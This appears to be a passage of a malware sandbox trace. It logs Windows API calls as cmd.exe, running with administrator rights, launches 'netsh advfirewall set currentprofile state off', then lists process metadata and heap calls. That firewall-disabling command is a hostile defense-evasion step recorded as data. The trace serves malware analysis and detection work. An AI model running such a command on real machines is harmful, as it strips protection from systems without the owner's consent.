nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0048.209] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0048.209] GetProcessHeap () returned 0x1c845ac0000 [0048.209] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x1bc) returned 0x1c845ac6c30 [0048.209] GetProcessHeap () returned 0x1c845ac0000 [0048.209] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x368) returned 0x1c845ad9030 [0048.216] GetProcessHeap () returned 0x1c845ac0000 [0048.216] RtlReAllocateHeap (Heap=0x1c845ac0000, Flags=0x0, Ptr=0x1c845ad9030, Size=0x1be) returned 0x1c845ad9030 [0048.216] GetProcessHeap () returned 0x1c845ac0000 [0048.216] RtlSizeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, MemoryPointer=0x1c845ad9030) returned 0x1be [0048.216] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0048.216] GetProcessHeap () returned 0x1c845ac0000 [0048.216] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xe8) returned 0x1c845ac6e00 [0048.217] GetProcessHeap () returned 0x1c845ac0000 [0048.217] RtlReAllocateHeap (Heap=0x1c845ac0000, Flags=0x0, Ptr=0x1c845ac6e00, Size=0x7e) returned 0x1c845ac6e00 [0048.217] GetProcessHeap () returned 0x1c845ac0000 [0048.217] RtlSizeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, MemoryPointer=0x1c845ac6e00) returned 0x7e [0048.218] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.218] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1d756feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1d756feec0) returned 0xffffffffffffffff [0048.218] GetLastError () returned 0x2 [0048.218] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.218] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1d756feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1d756feec0) returned 0xffffffffffffffff [0048.221] GetLastError () returned 0x2 [0048.221] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.221] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1d756feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1d756feec0) returned 0x1c845ac6e90 [0048.221] GetProcessHeap () returned 0x1c845ac0000 [0048.221] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x0, Size=0x28) returned 0x1c845ac6ef0 [0048.221] FindClose (in: hFindFile=0x1c845ac6e90 | out: hFindFile=0x1c845ac6e90) returned 1 [0048.221] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x1d756feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1d756feec0) returned 0xffffffffffffffff [0048.221] GetLastError () returned 0x2 [0048.221] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x1d756feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1d756feec0) returned 0x1c845ac6e90 [0048.222] GetProcessHeap () returned 0x1c845ac0000 [0048.222] RtlReAllocateHeap (Heap=0x1c845ac0000, Flags=0x0, Ptr=0x1c845ac6ef0, Size=0x8) returned 0x1c845ac6ef0 [0048.222] FindClose (in: hFindFile=0x1c845ac6e90 | out: hFindFile=0x1c845ac6e90) returned 1 [0048.222] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0048.222] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0048.222] ??_V@YAXPEAX@Z () returned 0x1 [0048.222] GetConsoleTitleW (in: lpConsoleTitle=0x1d756ff440, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0048.782] GetProcessHeap () returned 0x1c845ac0000 [0048.782] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x21c) returned 0x1c845ad9200 [0048.782] GetConsoleTitleW (in: lpConsoleTitle=0x1c845ad9210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0049.500] GetProcessHeap () returned 0x1c845ac0000 [0049.500] RtlReAllocateHeap (Heap=0x1c845ac0000, Flags=0x0, Ptr=0x1c845ad9200, Size=0xd8) returned 0x1c845ad9200 [0049.500] GetProcessHeap () returned 0x1c845ac0000 [0049.500] RtlSizeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, MemoryPointer=0x1c845ad9200) returned 0xd8 [0049.500] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0050.360] GetProcessHeap () returned 0x1c845ac0000 [0050.360] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ad9200) returned 1 [0050.360] InitializeProcThreadAttributeList (in: lpAttributeList=0x1d756ff360, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1d756ff250 | out: lpAttributeList=0x1d756ff360, lpSize=0x1d756ff250) returned 1 [0050.360] UpdateProcThreadAttribute (in: lpAttributeList=0x1d756ff360, dwFlags=0x0, Attribute=0x60001, lpValue=0x1d756ff23c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1d756ff360, lpPreviousValue=0x0) returned 1 [0050.360] GetStartupInfoW (in: lpStartupInfo=0x1d756ff2f0 | out: lpStartupInfo=0x1d756ff2f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2a4, hStdOutput=0x2b0, hStdError=0x2b0)) [0050.360] GetProcessHeap () returned 0x1c845ac0000 [0050.360] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x20) returned 0x1c845ac6e90 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0050.360] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0050.361] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0050.361] GetProcessHeap () returned 0x1c845ac0000 [0050.361] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac6e90) returned 1 [0050.361] GetProcessHeap () returned 0x1c845ac0000 [0050.361] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x12) returned 0x1c845ac6f10 [0050.361] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0050.361] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0 [0050.361] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0050.361] SetConsoleMode (hConsoleHandle=0x2a4, dwMode=0x0) returned 0 [0050.361] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x1d756ff280*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1d756ff258 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x1d756ff258*(hProcess=0x98, hThread=0x94, dwProcessId=0xe5c, dwThreadId=0xd68)) returned 1 [0051.141] CloseHandle (hObject=0x94) returned 1 [0051.141] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0051.141] GetProcessHeap () returned 0x1c845ac0000 [0051.141] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac8500) returned 1 [0051.141] GetEnvironmentStringsW () returned 0x1c845ac8500* [0051.141] GetProcessHeap () returned 0x1c845ac0000 [0051.141] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xacc) returned 0x1c845ad9520 [0051.141] FreeEnvironmentStringsA (penv="=") returned 1 [0051.141] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0051.141] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0051.141] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x1d756fe758, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1d756fe758, ReturnLength=0x0) returned 0x0 [0051.141] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x38e7a27000, lpBuffer=0x1d756fe790, nSize=0x7a0, lpNumberOfBytesRead=0x1d756fe750 | out: lpBuffer=0x1d756fe790*, lpNumberOfBytesRead=0x1d756fe750*=0x7a0) returned 1 [0051.142] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0066.117] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x1d756ff1d8 | out: lpExitCode=0x1d756ff1d8*=0x40010004) returned 1 [0066.117] CloseHandle (hObject=0x98) returned 1 [0066.117] _vsnwprintf (in: _Buffer=0x1d756ff3a8, _BufferCount=0x13, _Format="%08X", _ArgList=0x1d756ff1e8 | out: _Buffer="40010004") returned 8 [0066.117] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0066.118] GetProcessHeap () returned 0x1c845ac0000 [0066.118] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ad9520) returned 1 [0066.118] GetEnvironmentStringsW () returned 0x1c845adcfc0* [0066.118] GetProcessHeap () returned 0x1c845ac0000 [0066.118] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xaf2) returned 0x1c845addac0 [0066.118] FreeEnvironmentStringsA (penv="=") returned 1 [0066.118] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.118] GetProcessHeap () returned 0x1c845ac0000 [0066.118] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845addac0) returned 1 [0066.118] GetEnvironmentStringsW () returned 0x1c845adcfc0* [0066.119] GetProcessHeap () returned 0x1c845ac0000 [0066.119] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xaf2) returned 0x1c845addac0 [0066.119] FreeEnvironmentStringsA (penv="=") returned 1 [0066.119] GetProcessHeap () returned 0x1c845ac0000 [0066.119] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac6f10) returned 1 [0066.119] DeleteProcThreadAttributeList (in: lpAttributeList=0x1d756ff360 | out: lpAttributeList=0x1d756ff360) [0066.119] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0066.153] ??_V@YAXPEAX@Z () returned 0x1 [0066.153] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.153] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0 [0066.153] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.153] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff7ba02fc08 | out: lpMode=0x7ff7ba02fc08) returned 0 [0066.156] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0066.156] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff7ba02fc0c | out: lpMode=0x7ff7ba02fc0c) returned 0 [0066.156] GetConsoleOutputCP () returned 0x1b5 [0066.163] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0066.163] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.326] GetProcessHeap () returned 0x1c845ac0000 [0066.326] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac6e00) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ad9030) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac6c30) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ad8fd0) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac83e0) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac8fe0) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac1850) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac6a80) returned 1 [0066.327] GetProcessHeap () returned 0x1c845ac0000 [0066.327] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac8320) returned 1 [0066.327] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1d756ff788 | out: _Buffer="\r\n") returned 2 [0066.327] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.327] GetFileType (hFile=0x2b0) returned 0x3 [0066.327] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.327] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1d756ff758, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x1d756ff758, lpOverlapped=0x0) returned 0 [0066.327] GetLastError () returned 0xe8 [0066.327] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.327] GetFileType (hFile=0x2b0) returned 0x3 [0066.327] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.327] GetFileType (hFile=0x2b0) returned 0x3 [0066.327] _get_osfhandle (_FileHandle=2) returned 0x2b0 [0066.327] GetFileType (hFile=0x2b0) returned 0x3 [0066.327] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0066.327] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x1d756ff6f0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0066.327] _get_osfhandle (_FileHandle=2) returned 0x2b0 [0066.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0066.327] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x1d756ff648, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x1d756ff648, lpOverlapped=0x0) returned 0 [0066.327] GetLastError () returned 0xe8 [0066.327] exit (_Code=1) Thread: id = 24 os_tid = 0x324 Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x685a000" os_pid = "0xf50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf7c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0xfb0 Thread: id = 17 os_tid = 0xe7c Thread: id = 18 os_tid = 0xeec Thread: id = 22 os_tid = 0x3d8 Thread: id = 23 os_tid = 0x3cc Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x686e000" os_pid = "0xe00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xe3c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0xef4 Thread: id = 16 os_tid = 0x26c Thread: id = 19 os_tid = 0xcfc Thread: id = 20 os_tid = 0xb6c Thread: id = 21 os_tid = 0x6c8 Process: id = "7" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x1104e000" os_pid = "0xe5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xe3c" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xd68 [0052.440] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff782f50000 [0052.440] __set_app_type (_Type=0x1) [0052.440] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff782f5a1c0) returned 0x0 [0052.441] __wgetmainargs (in: _Argc=0x7ff782f67668, _Argv=0x7ff782f67670, _Env=0x7ff782f67678, _DoWildCard=0, _StartInfo=0x7ff782f67684 | out: _Argc=0x7ff782f67668, _Argv=0x7ff782f67670, _Env=0x7ff782f67678) returned 0 [0052.441] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0052.441] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff782f50000 [0052.442] _vsnwprintf (in: _Buffer=0x7ff782f69b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x38e7917838 | out: _Buffer="netsh>") returned 6 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ec00 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eba0 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eb20 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e580 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e7c0 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e920 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e6e0 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e8e0 [0052.442] GetProcessHeap () returned 0x1718b870000 [0052.442] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eac0 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e660 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e5a0 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e9c0 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e940 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e600 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ec20 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e560 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ea20 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e880 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e740 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e9e0 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e620 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ec40 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ebc0 [0052.443] GetProcessHeap () returned 